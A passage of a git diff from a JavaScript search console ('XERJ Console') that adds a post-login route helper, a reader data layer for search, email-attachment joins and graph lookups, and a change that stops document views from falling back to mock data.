-1034,7 +840,6 @@ export function mock(dashId, range = '24H', ctx = {}) {case 'rag-quality': out = buildRagQuality(seedRand, effectiveRange); break;case 'vector-index': out = buildVectorIndex(seedRand, effectiveRange); break;case 'agent-memory': out = buildAgentMemory(seedRand, effectiveRange); break;- case 'search-discover': out = buildSearchDash(seedRand, effectiveRange); break;case 'anomaly-detect': out = buildAnomalyDetect(seedRand, effectiveRange); break;case 'ingest-pipeline': out = buildIngest(seedRand, effectiveRange); break;case 'logs-overview': out = buildLogsOverview(seedRand, effectiveRange); break;diff --git a/xerj-ux/src/data/next-route.js b/xerj-ux/src/data/next-route.jsnew file mode 100644index 000000000..0e358fc2d--- /dev/null+++ b/xerj-ux/src/data/next-route.js@@ -0,0 +1,42 @@+// ============================================================+// XERJ Console — "where was I going?" across the sign-in page+//+// A deep link (`/_xerj-console/#/reader?index=…&id=…` — the link llms.txt+// tells an agent to hand a person) opened without a session is redirected to+// `/login`, which used to drop the hash and land on the Corpus home after+// sign-in: the person had to click the link a second time (PR #945 review).+// boot.js stashes the route here before it redirects; login.html takes it+// back out once the passkey ceremony succeeds.+//+// Only an in-console hash route is ever kept or returned — `#/` followed by+// route characters, no scheme, no whitespace — and it is only ever appended to+// `/_xerj-console/`, so it cannot become a redirect anywhere else. It lives in+// sessionStorage: this tab, this visit. Pure: storage is passed in.+// ============================================================++export const NEXT_KEY = 'xerj.next';+const ROUTE_RE = /^#\/[A-Za-z0-9/?&=_%.+~*!'()-]*$/;++/** `hash` when it is an in-console route worth coming back to, else ''. */+export function safeRoute(hash) {+ const h = typeof hash === 'string' ? hash : '';+ if (h.length < 3 || h.length > 2048 || h.includes('//') || !ROUTE_RE.test(h)) return '';+ return h;+}++/** Remember `hash` for after sign-in. A blocked storage is not an error. */+export function stashNext(storage, hash) {+ const route = safeRoute(hash);+ try {+ if (route) storage.setItem(NEXT_KEY, route);+ else storage.removeItem(NEXT_KEY);+ } catch { /* storage blocked: the person lands on the home page, as before */ }+ return route;+}++/** The remembered route ('' when none), forgotten as it is read. */+export function takeNext(storage) {+ let raw = '';+ try { raw = storage.getItem(NEXT_KEY) || ''; storage.removeItem(NEXT_KEY); } catch { return ''; }+ return safeRoute(raw);+}diff --git a/xerj-ux/src/data/query.js b/xerj-ux/src/data/query.jsindex 8df6ca438..0d439f0c6 100644--- a/xerj-ux/src/data/query.js+++ b/xerj-ux/src/data/query.js@@ -19,6 +19,19 @@ import {BACKENDS,} from './backends/index.js';+/**+ * Views that show the user's OWN DOCUMENTS and therefore never fall back to+ * the in-memory mock, whatever backend is selected and however the live call+ * fails. A fabricated hit on Discover, or an invented dataset on the Corpus+ * home, is indistinguishable from a real one to the person reading it — so+ * these get the live adapter or an explicit error, nothing else.+ */+export const NEVER_MOCK = new Set(['corpus', 'reader', 'search-discover']);++/** Views that fetch for themselves (ux/reader-view.js); `query()` has nothing+ * to load for them and must not invent a payload. */+const SELF_FETCHING = new Set(['reader']);+/** Last-known status for the nav pill. Updated on every query. */let _lastSourceKind = 'pending';let _lastSourceLabel = 'STARTING UP';@@ -57,8 +70,11 @@ export async function query(ctx = {}) {} = typeof ctx === 'string' ? { dashId: ctx } : ctx;const t0 = perfNow();- const backend = activeBackend();- const backendId = activeBackendId();+ const neverMock = NEVER_MOCK.has(dashId);+ // A NEVER_MOCK view always talks to the engine, even when the operator has+ // picked the demo "mock" backend for the telemetry dashboards.+ const backendId = neverMock ? 'xerj' : activeBackendId();+ const backend = neverMock ? BACKENDS.xerj : activeBackend();const baseUrl = backendBaseUrl(backendId);// Try the live backend. A return of `null` means the backend@@ -66,7 +82,9 @@ export async function query(ctx = {}) {// through to mock without flipping the status pill to red.let data = null;let liveError = null;- if (backend && typeof backend.search === 'function') {+ if (SELF_FETCHING.has(dashId)) {+ data = { _selfFetching: true };+ } else if (backend && typeof backend.search === 'function') {try {data = await backend.search(baseUrl, dashId, { range, customRange, cluster, filters, search }, signal);} catch (e) {@@ -74,6 +92,9 @@ export async function query(ctx = {}) {}}+ if (data == null && neverMock) {+ data = { error: liveError || 'no live data for this view', status: 'error' };+ }if (data == null) {// Fallback to mock.data = mockData(dashId, range, { cluster, filters, customRange });@@ -87,9 +108,24 @@ export async function query(ctx = {}) {// see "the backend is up but this query failed."_lastSourceKind = 'live-error';_lastSourceLabel = `${BACKENDS[backendId]?.meta?.label || backendId}: ${String(data.error).slice(0, 80)}`;+ } else if (data._selfFetching) {+ // The view fetches for itself and reports its own status once it has+ // (ux/reader-view.js#onStatus). Nothing has been loaded here, so nothing+ // is claimed.+ _lastSourceKind = 'pending';+ _lastSourceLabel = 'LOADING…';+ } else if (data._sample) {+ // The shape carries fabricated/sample panels the engine can't produce+ // (e.g. system host-metrics — no metrics agent). Never claim LIVE for it;+ // label it SAMPLE so a demo panel is never mistaken for measured data.+ _lastSourceKind = 'sample';+ _lastSourceLabel = `${BACKENDS[backendId]?.meta?.label || backendId}: SAMPLE DATA`;} else {_lastSourceKind = 'live';- _lastSourceLabel = `LIVE · ${BACKENDS[backendId]?.meta?.label || backendId} · ${baseUrl || ''}`;+ // The bundled console is served by the engine it shows; naming this+ // page's own origin adds nothing (and pushed the pill off a 1440px nav).+ const own = typeof window !== 'undefined' && window.location && baseUrl === window.location.origin;+ _lastSourceLabel = `LIVE · ${BACKENDS[backendId]?.meta?.label || backendId}${baseUrl && !own ? ' · ' + baseUrl : ''}`;}const t1 = perfNow();@@ -108,6 +144,7 @@ export async function query(ctx = {}) {backendLabel: BACKENDS[backendId]?.meta?.label || backendId,baseUrl,sourceKind: _lastSourceKind,+ sourceLabel: _lastSourceLabel,liveError,},};diff --git a/xerj-ux/src/data/reader-api.js b/xerj-ux/src/data/reader-api.jsnew file mode 100644index 000000000..a5c5b0d16--- /dev/null+++ b/xerj-ux/src/data/reader-api.js@@ -0,0 +1,537 @@+// ============================================================+// XERJ Console — Reader data layer+//+// The fetches the corpus home and the reader need, each shaped (never+// throwing past this file) so the shell can render an honest state for every+// outcome. It is written against a TRANSPORT, because the same reader runs in+// two very different trust positions:+//+// operator data/transport-console.js — the signed-in console session.+// Searches go through the session-authenticated panel proxy+// (`/_xerj-console/api/v1/data-sources/…/search`); the graph is a+// same-origin `/_graph/{brain}/ego` call.+// guest data/transport-guest.js — a share's read-only API key against+// exactly the shared indices, via data/guest.js#guestRequest.+// It cannot name another index, cannot reach a console endpoint,+// and never enumerates brains or indices.+//+// A transport is:+// { guest: boolean,+// search(index, body, signal) → ES `_search` response (throws)+// ego(brain, params, signal) → { status, body } (throws)+// discoverBrains?(index) → string[] brains listing the index }+// where a thrown error may carry `.kind`: 'unauthorized' | 'forbidden' |+// 'expired' | 'not-found' | 'blocked' | 'network' | 'http'.+//+// Nothing here fabricates a record. Every failure becomes an `error` /+// `status` the UI prints; there is no fallback corpus.+// ============================================================++import { groupNeighbors } from '../ux/reader-render.js';+import { highlightRequest } from '../ux/safe-dom.js';+import { buildSearchBody, searchFieldsOf, queryProblem } from './search-body.js';+import { deriveRoles, withSearchField } from './schema-roles.js';++/** Error kinds that end a guest session (the shell logs the guest out). */+export const FATAL_KINDS = new Set(['unauthorized', 'expired']);+/** How many brains a record's graph panel walks when several list its index. */+export const MAX_BRAINS = 4;+/**+ * An email's attachment RECORDS are read in pages of ATTACHMENT_PAGE, at most+ * ATTACHMENT_RECORDS_READ of them. A PDF contributes one record per page+ * section, so one attachment can be hundreds of records (autoindex's+ * per-document cap, extract/mod.rs#MAX_RECORDS_PER_FILE, is 4096; an email can+ * carry several documents). Past the limit the list is marked incomplete —+ * with the numbers — never silently cut (PR #945 review: a fixed `size: 200`+ * hid every attachment after a 200-page PDF and said nothing).+ */+export const ATTACHMENT_PAGE = 1000;+export const ATTACHMENT_RECORDS_READ = 5000;+/** The fields an attachment list entry shows. The join asks for these and+ * nothing else: never the page text, never a vector. */+const ATTACHMENT_SOURCE = ['attachment_name', 'attachment_content_type', 'attachment_bytes', 'page', 'ax_locator', 'ax_file', 'email_message_id'];+/** How many records of a file are listed on its file record. */+export const SIBLINGS_SHOWN = 200;+/**+ * One hit per email MESSAGE. autoindex writes `msg-s0` as the first (usually+ * only) section of every .eml and `m<offset>-msg-s0` for every message of a+ * mailbox (PR #949). Counting records that carry `email_message_id` instead+ * missed every email without a Message-ID header (the PR #945 review corpus+ * holds 9 emails and the guest card said 8) and counted a long email once per+ * section. Records not written by autoindex (no `ax_locator`) still count by+ * message id.+ */+export const EMAIL_MESSAGE_QUERY = { bool: { should: [+ { term: { ax_locator: 'msg-s0' } },+ { wildcard: { ax_locator: { value: 'm*-msg-s0' } } },+ { bool: { filter: [{ exists: { field: 'email_message_id' } }], must_not: [{ exists: { field: 'attachment_name' } }, { exists: { field: 'ax_locator' } }] } },+], minimum_should_match: 1 } };++function errText(e) {+ if (!e) return 'unknown error';+ if (e.kind) {+ switch (e.kind) {+ case 'unauthorized': return 'not authorized';+ case 'forbidden': return 'not permitted';+ case 'expired': return 'share expired';+ case 'not-found': return 'not found';+ case 'blocked': return 'not part of this share';+ case 'network': return 'engine unreachable';+ default: return e.status ? `HTTP ${e.status}` : 'request failed';+ }+ }+ return String(e.message || e).slice(0, 200);+}++function shapeHit(h, index) {+ return {+ _index: typeof h._index === 'string' ? h._index : index,+ _id: String(h._id),+ _score: h._score,+ _source: (h._source && typeof h._source === 'object') ? h._source : {},+ highlight: (h.highlight && typeof h.highlight === 'object') ? h.highlight : undefined,+ };+}+function hitsOf(resp, index) {+ const list = resp && resp.hits && Array.isArray(resp.hits.hits) ? resp.hits.hits : [];+ return list.filter((h) => h && h._id != null).map((h) => shapeHit(h, index));+}+/**+ * Where a record sits inside its file, read from its `ax_locator`.+ *+ * autoindex writes ONE message per `.eml` — `msg-s0` (its sections `msg-s1`…),+ * `att<N>-s0`, `att<N>-p<page>-s0`, `att<N>-card` — and, for a mailbox (mbox /+ * Google Takeout, PR #949), MANY messages per file, each namespaced by its+ * byte offset: `m1048-msg-s0`, `m1048-att0-p3-s0`, `m2210-raw-s0`. Every record+ * of one mailbox shares ONE `ax_file`, so "this message's attachments" is the+ * file AND the message prefix; joined on the file alone, one email of a+ * mailbox would list the attachments of every other message in it.+ *+ * `{ message, part, ordinal }` — `message` is `''` for an `.eml` and+ * `m<offset>-` inside a mailbox; `part` is `msg` | `att` | `raw`; `ordinal` is+ * the attachment's number. `null` for any other locator (`file`, `s12`, a+ * record not written by autoindex).+ */+export function locatorParts(loc) {+ const m = /^(m\d+-)?(msg|att(\d+)|raw)(?=-|$)/.exec(String(loc || ''));+ if (!m) return null;+ return { message: m[1] || '', part: m[3] != null ? 'att' : m[2], ordinal: m[3] != null ? Number(m[3]) : null };+}+/** Sort key for a record's `ax_locator` ("msg-s0", "att0-p3-s1", "s12",+ * "m1048-att0-p3-s0"): numbers compare as numbers, so page 10 follows page 9+ * and a mailbox's messages follow their byte offsets; within one message the+ * message's own sections come before its attachments. */+function locatorKey(h) {+ const loc = String((h._source && h._source.ax_locator) || '');+ const pad = (x) => x.replace(/\d+/g, (d) => d.padStart(20, '0'));+ const [, message = '', rest] = /^(m\d+-)?(.*)$/s.exec(loc);+ return `${pad(message)}${rest.startsWith('msg') ? '0' : '1'}${pad(rest)}`;+}+/** The attachment a record belongs to. autoindex's EML extractor numbers the+ * attachments of one message and puts the ordinal in the locator+ * (`att0-p3-s1`, `att2-s0`, `att5-card`, in a mailbox `m1048-att0-…`), so two+ * attachments that share a FILE NAME stay two. Records from anywhere else+ * fall back to the name. */+function attachmentKey(h) {+ const lp = locatorParts(h._source && h._source.ax_locator);+ return lp && lp.part === 'att'+ ? { key: `${lp.message}#${lp.ordinal}`, ordinal: lp.ordinal }+ : { key: `name:${String(h._source && h._source.attachment_name)}`, ordinal: Infinity };+}+function totalOf(resp) {+ const t = resp && resp.hits && resp.hits.total;+ if (t && typeof t === 'object') return Number(t.value) || 0;+ return Number(t) || 0;+}++/** Field types of one index, from a `GET /{index}/_mapping` response. */+export function fieldTypesOf(mapping, index) {+ const out = {};+ const entry = mapping && (mapping[index] || Object.values(mapping)[0]);+ const props = (entry && entry.mappings && entry.mappings.properties) || {};+ for (const [f, cfg] of Object.entries(props)) {+ const t = (cfg && cfg.type) || 'object';+ if (t !== 'alias') out[f] = t;+ }+ return out;+}++export function makeReaderApi(transport) {+ const rolesByIndex = new Map();+ const brainByIndex = new Map();++ /** Field roles for an index (text / semantic / keyword / date fields). The+ * conservative defaults apply when the mapping cannot be read. */+ async function roles(index, signal) {+ if (rolesByIndex.has(index)) return rolesByIndex.get(index);+ let r = deriveRoles({});+ if (typeof transport.mapping === 'function') {+ try { r = deriveRoles(fieldTypesOf(await transport.mapping(index, signal), index)); } catch (e) {+ if (e && e.name === 'AbortError') throw e;+ }+ }+ rolesByIndex.set(index, r);+ return r;+ }++ /**+ * Run the reader's search box. `{ hits, total, took, error, kind }` —+ * `hits` is `[]` on any failure; it is never padded or invented.+ *+ * field a corpus card's sample query names the field it was written for;+ * it joins the search fields (schema-roles.js#withSearchField)+ * size how many hits to return (the view's SHOW MORE raises it)+ *+ * `{ hits: [], hint }` when the query cannot run as typed (TERM / RANGE+ * without `field=value`): nothing is sent, and above all not `match_all`.+ */+ async function search(index, { q = '', type = 'match', size = 25, field = null } = {}, signal) {+ const hint = queryProblem(q, type);+ if (hint) return { hits: [], total: 0, took: 0, hint };+ try {+ const r = withSearchField(await roles(index, signal), field);+ const body = buildSearchBody(q, type, {}, r, { size, aggs: false });+ if ((q || '').trim() && type !== 'semantic') {+ // Exactly the fields the query ran over (schema-roles.js#searchFields:+ // every text field plus subject / title / attachment name when the+ // mapping has them), so a match in a subject line is marked too.+ body.highlight = highlightRequest(searchFieldsOf(r));+ }+ const resp = await transport.search(index, body, signal);+ return { hits: hitsOf(resp, index), total: totalOf(resp), took: Number(resp && resp.took) || 0, fields: searchFieldsOf(r) };+ } catch (e) {+ if (e && e.name === 'AbortError') throw e;+ return { hits: [], total: 0, took: 0, error: errText(e), kind: e && e.kind };+ }+ }++ /** One record by id. `{ hit }` or `{ hit: null, error, kind }`. */+ async function fetchRecord(index, id, signal) {+ try {+ const resp = await transport.search(index, { query: { ids: { values: [id] } }, size: 1 }, signal);+ const hit = hitsOf(resp, index)[0] || null;+ return hit ? { hit } : { hit: null, error: 'No such record in this index.', kind: 'not-found' };+ } catch (e) {+ if (e && e.name === 'AbortError') throw e;+ return { hit: null, error: errText(e), kind: e && e.kind };+ }+ }++ /** Same, across several candidate indices (a graph node from another+ * dataset carries no index). First hit wins. */+ async function findRecord(indices, id, signal) {+ let last = null;+ for (const index of indices || []) {+ const r = await fetchRecord(index, id, signal);+ if (r.hit) return r;+ if (FATAL_KINDS.has(r.kind)) return r;+ last = r;+ }+ return last || { hit: null, error: 'No such record.', kind: 'not-found' };+ }++ /**+ * Read every attachment record matching `filter`, a light page at a time,+ * and collapse them to ONE entry per attachment at its lowest page (a click+ * opens page one). `{ attachments, truncated }` — `truncated` is+ * `{ read, total }` when the engine holds more records than were read.+ */+ async function readAttachments(index, filter, sorted, signal) {+ const best = new Map();+ const pageOf = (a) => { const n = Number(a._source.page); return Number.isFinite(n) ? n : 0; };+ const lower = (a, b) => (pageOf(a) - pageOf(b)) || locatorKey(a).localeCompare(locatorKey(b));+ let read = 0;+ let total = 0;+ while (read < ATTACHMENT_RECORDS_READ) {+ const resp = await transport.search(index, {+ query: { bool: { filter: [...filter, { exists: { field: 'attachment_name' } }] } },+ // A filter has no useful order of its own; paging needs a stable one.+ // (`ax_locator` is only known to exist beside `ax_file`.)+ ...(sorted ? { sort: [{ ax_locator: 'asc' }] } : {}),+ from: read,+ size: Math.min(ATTACHMENT_PAGE, ATTACHMENT_RECORDS_READ - read),+ track_total_hits: true,+ _source: ATTACHMENT_SOURCE,+ }, signal);+ const hits = hitsOf(resp, index);+ total = Math.max(total, totalOf(resp));+ for (const a of hits) {+ const { key, ordinal } = attachmentKey(a);+ const cur = best.get(key);+ if (!cur || lower(a, cur.hit) < 0) best.set(key, { hit: a, ordinal });+ }+ read += hits.length;+ if (!hits.length || read >= total) break;+ }+ const attachments = [...best.values()]+ .sort((x, y) => (x.ordinal - y.ordinal) || String(x.hit._source.attachment_name).localeCompare(String(y.hit._source.attachment_name)))+ .map((x) => x.hit);+ return { attachments, truncated: total > read ? { read, total } : null };+ }++ /**+ * An email's attachment records, or an attachment's parent email.+ *+ * Joined on `ax_file` — the id autoindex stamps on EVERY record that came+ * out of one file — narrowed to the record's MESSAGE by its locator+ * (`locatorParts`): an attachment list is the file's `<message>att…`+ * records, a parent is the file's `<message>msg-…` record. For an `.eml` the+ * message part is empty (one file, one message); inside a mailbox it is the+ * message's `m<offset>-`. The first version joined on `email_message_id`,+ * which the PR #945 review showed is wrong twice: the extractor stamps it+ * only when the message HAS a Message-ID header (an email without one+ * listed no attachments), and two files can carry the same id (each copy+ * listed the other's attachments). `email_message_id` remains the fallback+ * for records that carry no `ax_file` (not written by autoindex); a record+ * with an `ax_file` but a locator of another shape joins on the file alone.+ * `{ attachments: [], parent: null }` when there is nothing to join on;+ * `attachmentsError` when the join itself failed.+ */+ async function fetchRelated(hit, signal) {+ const s = (hit && hit._source) || {};+ const index = hit._index;+ const out = { attachments: [], attachmentsTruncated: null, parent: null, fileRecord: null };+ const af = typeof s.ax_file === 'string' && s.ax_file ? s.ax_file : null;+ try {+ if (af && s.ax_locator === 'file') {+ // The file's own record: list what came out of the file.+ const resp = await transport.search(index, {+ query: { bool: { filter: [{ term: { ax_file: af } }], must_not: [{ term: { ax_locator: 'file' } }] } },+ sort: [{ ax_locator: 'asc' }],+ size: SIBLINGS_SHOWN,+ track_total_hits: true,+ }, signal);+ const siblings = hitsOf(resp, index).sort((a, b) => locatorKey(a).localeCompare(locatorKey(b)));+ const total = totalOf(resp);+ return { ...out, siblings, siblingsTruncated: total > siblings.length, siblingsTotal: total };+ }+ if (af) {+ // Any other record: find its file's record — the node the brain's+ // file-level links (same folder, markdown link, path citation) hang on.+ const resp = await transport.search(index, {+ query: { bool: { filter: [{ term: { ax_file: af } }, { term: { ax_locator: 'file' } }] } },+ size: 1,+ }, signal);+ out.fileRecord = hitsOf(resp, index)[0] || null;+ }+ } catch (e) {+ if (e && e.name === 'AbortError') throw e;+ if (FATAL_KINDS.has(e && e.kind)) return { ...out, kind: e.kind };+ }+ const mid = typeof s.email_message_id === 'string' && s.email_message_id ? s.email_message_id : null;+ const join = af ? [{ term: { ax_file: af } }] : (mid ? [{ term: { email_message_id: mid } }] : null);+ if (!join) return out;+ const isEmailish = s.attachment_name != null || s.email_subject != null || s.email_from != null || mid || s.ax_format === 'eml';+ if (!isEmailish) return out; // a note or a PDF page: nothing to join+ // The message inside the file (see locatorParts): `m1048-` in a mailbox,+ // empty for an .eml. Only an autoindex locator narrows the join.+ const lp = af ? locatorParts(s.ax_locator) : null;+ const inMessage = (part) => (lp ? [{ prefix: { ax_locator: `${lp.message}${part}` } }] : []);+ try {+ if (s.attachment_name) {+ // The message this attachment came with: the message's own records+ // (neither an attachment nor the file record); its first section.+ const resp = await transport.search(index, {+ query: { bool: { filter: [...join, ...inMessage('msg-')], must_not: [{ exists: { field: 'attachment_name' } }, { term: { ax_locator: 'file' } }] } },+ ...(af ? { sort: [{ ax_locator: 'asc' }] } : {}),+ size: 20,+ }, signal);+ const parent = hitsOf(resp, index).sort((a, b) => locatorKey(a).localeCompare(locatorKey(b)))[0] || null;+ return { ...out, parent };+ }+ if (lp && lp.part === 'raw') return out; // a mailbox message autoindex could not parse: no attachments were read from it+ const { attachments, truncated } = await readAttachments(index, [...join, ...inMessage('att')], !!af, signal);+ return { ...out, attachments, attachmentsTruncated: truncated };+ } catch (e) {+ if (e && e.name === 'AbortError') throw e;+ return { ...out, kind: e && e.kind, attachmentsError: errText(e) };+ }+ }++ /**+ * Which brains hold a graph for `index`, in the order they are walked. A+ * guest's brain is the share's and nothing else. For the operator: the+ * `?brain=` hint alone, else every brain the transport can discover (at most+ * MAX_BRAINS), else the index slug (`ax-notes` → `notes`, the name+ * `xerj brain` derives from the folder).+ */+ async function resolveBrains(index, hint, signal) {+ if (transport.guest) return transport.brain ? [transport.brain] : [];+ if (hint) return [hint];+ if (!index) return [];+ if (brainByIndex.has(index)) return brainByIndex.get(index);+ let found = [];+ try {+ if (typeof transport.discoverBrains === 'function') found = await transport.discoverBrains(index, signal);+ else if (typeof transport.discoverBrain === 'function') found = [await transport.discoverBrain(index, signal)];+ } catch (e) {+ if (e && e.name === 'AbortError') throw e;+ }+ const brains = (Array.isArray(found) ? found : []).filter((b) => typeof b === 'string' && b).slice(0, MAX_BRAINS);+ if (!brains.length) brains.push(String(index).replace(/^ax-/, ''));+ brainByIndex.set(index, brains);+ return brains;+ }++ /** The first of `resolveBrains` (kept for callers that want one name). */+ async function resolveBrain(index, hint, signal) {+ return (await resolveBrains(index, hint, signal))[0] || null;+ }++ /**+ * The 1-hop neighbourhood of a record. Shaped:+ * { status: 'ok', groups, notShown }+ * { status: 'no-brain' } the edges index does not exist / no brain+ * { status: 'no-links' } brain exists, node has no edges+ * { status: 'denied' } the credential may not walk this graph+ * { status: 'error', error }+ */+ async function fetchEgo(brain, id, signal) {+ if (!brain) return { status: 'no-brain', guest: !!transport.guest };+ const params = { node: id, hops: '1', direction: 'both', limit: '200', include_nodes: 'true', include_evidence: 'false' };+ try {+ let { status, body } = await transport.ego(brain, params, signal);+ // Node summaries are authorized against the brain's nodes index+ // separately (graph_api.rs). If that is refused, the links themselves+ // may still be readable — ask again without the summaries.+ if (status === 403) ({ status, body } = await transport.ego(brain, { ...params, include_nodes: 'false' }, signal));+ if (status === 404) return { status: 'no-brain', guest: !!transport.guest };+ if (status === 401 || status === 403) return { status: 'denied', guest: !!transport.guest, error: `HTTP ${status}`, kind: status === 401 ? 'unauthorized' : 'forbidden' };+ if (status < 200 || status >= 300) return { status: 'error', error: `HTTP ${status}` };+ const groups = groupNeighbors(body, id);+ const notShown = (body && body.not_shown && typeof body.not_shown === 'object') ? body.not_shown : {};+ const dangling = Array.isArray(notShown.dangling_ids) && notShown.dangling_ids.includes(id);+ if (!groups.length) return { status: 'no-links', dangling, notShown };+ return { status: 'ok', groups, notShown };+ } catch (e) {+ if (e && e.name === 'AbortError') throw e;+ if (e && e.kind === 'blocked') return { status: 'no-brain', guest: !!transport.guest };+ return { status: 'error', error: errText(e), kind: e && e.kind };+ }+ }++ /**+ * The graph panel's data for an open record: its own 1-hop neighbourhood,+ * plus — when it is not the file's record — the neighbourhood of the file it+ * came from. autoindex's file-level detectors (same_dir, mdlink, pathcite,+ * href) link FILE records; an email or a PDF page opened on its own would+ * otherwise always read "no links" beside a file that has several.+ */+ async function fetchGraphOne(brain, hit, fileRecord, signal) {+ const own = await fetchEgo(brain, hit._id, signal);+ if (!fileRecord || fileRecord._id === hit._id) return own;+ if (own.status !== 'ok' && own.status !== 'no-links') return own; // no brain / denied / error: the same answer would come back+ const viaFile = await fetchEgo(brain, fileRecord._id, signal);+ if (viaFile.status !== 'ok') return own;+ const groups = (own.groups || []).map((g) => ({ ...g, items: [...g.items] }));+ const seen = new Set(groups.flatMap((g) => g.items.map((it) => `${g.type}\n${it.id}`)));+ let added = 0;+ for (const g of viaFile.groups) {+ for (const it of g.items) {+ if (it.id === hit._id || seen.has(`${g.type}\n${it.id}`)) continue;+ let into = groups.find((x) => x.type === g.type);+ if (!into) { into = { type: g.type, label: g.label, items: [] }; groups.push(into); }+ into.items.push({ ...it, via: 'file' });+ added++;+ }+ }+ if (!groups.length) return own;+ const fs = fileRecord._source || {};+ return { status: 'ok', groups, notShown: own.notShown || viaFile.notShown || {}, viaFile: added, filePath: typeof fs.ax_path === 'string' ? fs.ax_path : null };+ }++ const sortItems = (items) => items.sort((a, b) => String(a.title).localeCompare(String(b.title)) || String(a.id).localeCompare(String(b.id)));++ /**+ * The graph panel over EVERY candidate brain (`resolveBrains`), walked in+ * order and merged. Two `xerj brain` runs over different folders land in the+ * same index with two brains that each hold links only for their own files;+ * asking one of them read "no links" for the other's records (PR #945+ * review). The result always says which brains were consulted (`brains`)+ * and, when links were found, which of them had any (`brainsWithLinks`);+ * every neighbour carries the brain its link came from.+ *+ * With no links anywhere the most informative answer wins: a brain that+ * exists but has none over a refusal, a refusal over an error, an error over+ * a missing brain.+ */+ async function fetchGraph(brainOrList, hit, fileRecord, signal) {+ const brains = (Array.isArray(brainOrList) ? brainOrList : [brainOrList]).filter((b) => typeof b === 'string' && b).slice(0, MAX_BRAINS);+ if (!brains.length) return { status: 'no-brain', guest: !!transport.guest, brain: null, brains: [] };+ if (brains.length === 1) return { ...(await fetchGraphOne(brains[0], hit, fileRecord, signal)), brain: brains[0], brains };+ const results = [];+ for (const brain of brains) results.push({ brain, r: await fetchGraphOne(brain, hit, fileRecord, signal) });+ const oks = results.filter((x) => x.r.status === 'ok');+ if (oks.length) {+ const groups = [];+ const seen = new Set();+ const notShown = {};+ let viaFile = 0;+ let filePath = null;+ for (const { brain, r } of oks) {+ for (const g of r.groups) {+ for (const it of g.items) {+ const key = `${g.type}\n${it.id}`;+ if (seen.has(key)) continue;+ seen.add(key);+ let into = groups.find((x) => x.type === g.type);+ if (!into) { into = { type: g.type, label: g.label, items: [] }; groups.push(into); }+ into.items.push({ ...it, brain });+ if (it.via === 'file') viaFile++;+ }+ }+ if (!filePath && r.filePath) filePath = r.filePath;+ for (const k of ['edges_clipped', 'frontier_clipped', 'dangling_nodes']) {+ const n = Number(r.notShown && r.notShown[k]) || 0;+ if (n) notShown[k] = (Number(notShown[k]) || 0) + n;+ }+ }+ for (const g of groups) sortItems(g.items);+ return { status: 'ok', groups, notShown, viaFile, filePath, brain: oks[0].brain, brains, brainsWithLinks: oks.map((x) => x.brain) };+ }+ const pick = (st) => results.find((x) => x.r.status === st);+ const best = pick('no-links') || pick('denied') || pick('error') || pick('no-brain') || results[0];+ return { ...best.r, brain: best.brain, brains };+ }++ /**+ * What one index holds, from the index itself (no catalog needed — a guest+ * is never granted `autoindex-catalog`, which lists every corpus on the+ * node). `{ index, records, emails, attachments, formats: [{key,count}],+ * error }`.+ */+ async function indexSummary(index, signal) {+ try {+ const [resp, emails] = await Promise.all([+ transport.search(index, {+ size: 0,+ track_total_hits: true,+ query: { match_all: {} },+ aggs: {+ attachments: { filter: { exists: { field: 'attachment_name' } } },+ formats: { terms: { field: 'ax_format', size: 12 } },+ },+ }, signal),+ // Emails are counted with a QUERY, not a filter aggregation: the+ // engine's filter aggregation counts 0 for a wildcard with an inner+ // `*` (`m*-msg-s0`) while `_count` / a query answers right (#959,+ // measured on a mailbox: 0 vs 5).+ transport.search(index, { size: 0, track_total_hits: true, query: EMAIL_MESSAGE_QUERY }, signal),+ ]);+ const a = (resp && resp.aggregations) || {};+ const buckets = (a.formats && Array.isArray(a.formats.buckets)) ? a.formats.buckets : [];+ return {+ index,+ records: totalOf(resp),+ emails: totalOf(emails),+ attachments: Number(a.attachments && a.attachments.doc_count) || 0,+ formats: buckets.map((b) => ({ key: String(b.key), count: Number(b.doc_count) || 0 })),+ };+ } catch (e) {+ if (e && e.name === 'AbortError') throw e;+ return { index, records: 0, emails: 0, attachments: 0, formats: [], error: errText(e), kind: e && e.kind };+ }+ }++ return { roles, search, fetchRecord, findRecord, fetchRelated, resolveBrain, resolveBrains, fetchEgo, fetchGraph, indexSummary };+}diff --git a/xerj-ux/src/data/schema-roles.js b/xerj-ux/src/data/schema-roles.jsnew file mode 100644index 000000000..607917398--- /dev/null+++ b/xerj-ux/src/data/schema-roles.js@@ -0,0 +1,105 @@+// ============================================================+// XERJ Console — field roles from a { field: type } map (pure)+//+// Split out of schema.js so the guest reader can derive roles without+// importing anything that fetches: `deriveRoles` is arithmetic on a mapping,+// nothing more. See schema.js for how the operator console feeds it.+// ============================================================++// Types that hold full-text we can `match` against.+const TEXT_TYPES = new Set(['text', 'match_only_text', 'semantic_text']);+// Types whose value is ONE term: `match` on them needs the whole string.+const KEYWORD_TYPES = new Set(['keyword', 'constant_keyword', 'wildcard']);+// Preference when several text-ish fields exist. `body` (autoindex) and+// `message` (logs) first so the common corpora Just Work.+const TEXT_PREF = ['body', 'message', 'content', 'text', 'email_subject', 'title'];+const SEM_PREF = ['body', 'content', 'text', 'message'];+// Keyword fields that make poor facets (plumbing / high-cardinality ids).+const FACET_SKIP = /^(ax_|email_message_id|email_in_reply_to|attachment_name|_)/;+// The title-like fields a person searches BY, beside the text fields: an+// email's subject, a document's title, an attachment's file name. MATCH /+// PHRASE / PREFIX run over `searchFields` (search-body.js), so a word that+// appears only in a subject line finds the email (PR #945 review: "Lunch on+// Friday?" was not found by "Lunch" because only `body` was searched). Only+// fields the mapping really has are included, and only when their type is one+// search-body.js has a clause for (text-like or keyword-like).+const EXTRA_SEARCH = ['email_subject', 'title', 'attachment_name'];+/**+ * How many text-typed fields MATCH / PHRASE / PREFIX run over. EVERY text-typed+ * field is searched, in TEXT_PREF order and then mapping order, up to this cap.+ * PR #945 review (second round): one index can hold its text under more than+ * one name — autoindex's prose extractors write `body`, its line extractor+ * (Makefile, .ini, logs) writes `text` — and searching only the preferred one+ * made the other's records unfindable, including by the catalog's own sample+ * query. The cap only bounds the request size on a mapping with dozens of text+ * fields; `searchFieldsCapped` says when it bit.+ */+export const MAX_TEXT_SEARCH_FIELDS = 12;++function pick(prefList, present) {+ for (const p of prefList) if (present.includes(p)) return p;+ return null;+}++/** Derive the field roles the search UI needs from a { field: type } map. */+export function deriveRoles(fieldTypes) {+ const entries = Object.entries(fieldTypes || {});+ const names = entries.map(([f]) => f);+ const textFields = entries.filter(([, t]) => TEXT_TYPES.has(t)).map(([f]) => f);+ const semanticFields = entries.filter(([, t]) => t === 